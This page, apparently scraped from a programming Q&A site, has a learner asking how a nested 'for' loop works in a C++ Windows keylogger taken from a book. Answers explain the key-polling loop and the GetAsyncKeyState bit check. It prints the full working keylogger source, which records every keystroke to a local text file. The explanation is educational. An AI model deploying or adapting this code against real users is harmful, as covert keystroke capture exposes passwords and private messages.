简体   繁体   中英

How is this 'for' loop relevant in the keylogger?

im reading a book on writing a keylogger for fun, but i came across this 'for' loop and i'm confused as to how it is relevant (bolded)

#include <iostream>
#include <fstream>
#include <windows.h>
#include <Winuser.h>

using namespace std;

void log();

int main()
{
    log();
    return 0;
}

void log()
{
    char c;

    for(;;)
    {
        for(c=8;c<=222;c++) // <<=== THIS LOOP HERE
        {
            if(GetAsyncKeyState(c) == -32767)
            {
                ofstream write("C:\\Users\\IEUser\\Desktop\\text.txt",ios::app);
                write<<c;
            }
        }
    }
}

From my understanding, it means that C++ will set c=8, and go through the loop, incrementing until it hits 222, then stops (But it'll continue again anyway because of the parent loop). The book mentions that the numbers 8 and 222 indicate ASCII code. But i dont see how it links to getting my input? Is the input not being derived from GetASyncKey state already, help. and thank you in advance for reading this ^.^

for(;;) 

The infinite loop keeps running (listening)

for(c=8;c<=222;c++)

Run values from 8 to 222 included [8,222]

GetAsyncKeyState(c) == -32767)

Determines whether a key is up or down at the time the function is called

So now you are testing against that ASCI represented by c. Now what does the magic number -32767 means?

If we write -32767 in binary it resolves to 1000 0000 0000 0001. As you can see both the most significant bit and the least significant bit is set so from the description follows that the key is down and that it has been pressed down since the last time you called GetAsyncKeyState.

But it'll continue again anyway because of the parent loop.

No. The inner loop will not continue on each iteration of the outer loop; rather, it will restart – with the c variable being reset to 8 on each of those restarts.

Thus, on each of the (potentially infinite) runs of the outer for loop, the inner loop runs through the values of c from 8 to 222 and calls the GetAsyncKeyState() function with each of those values.

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM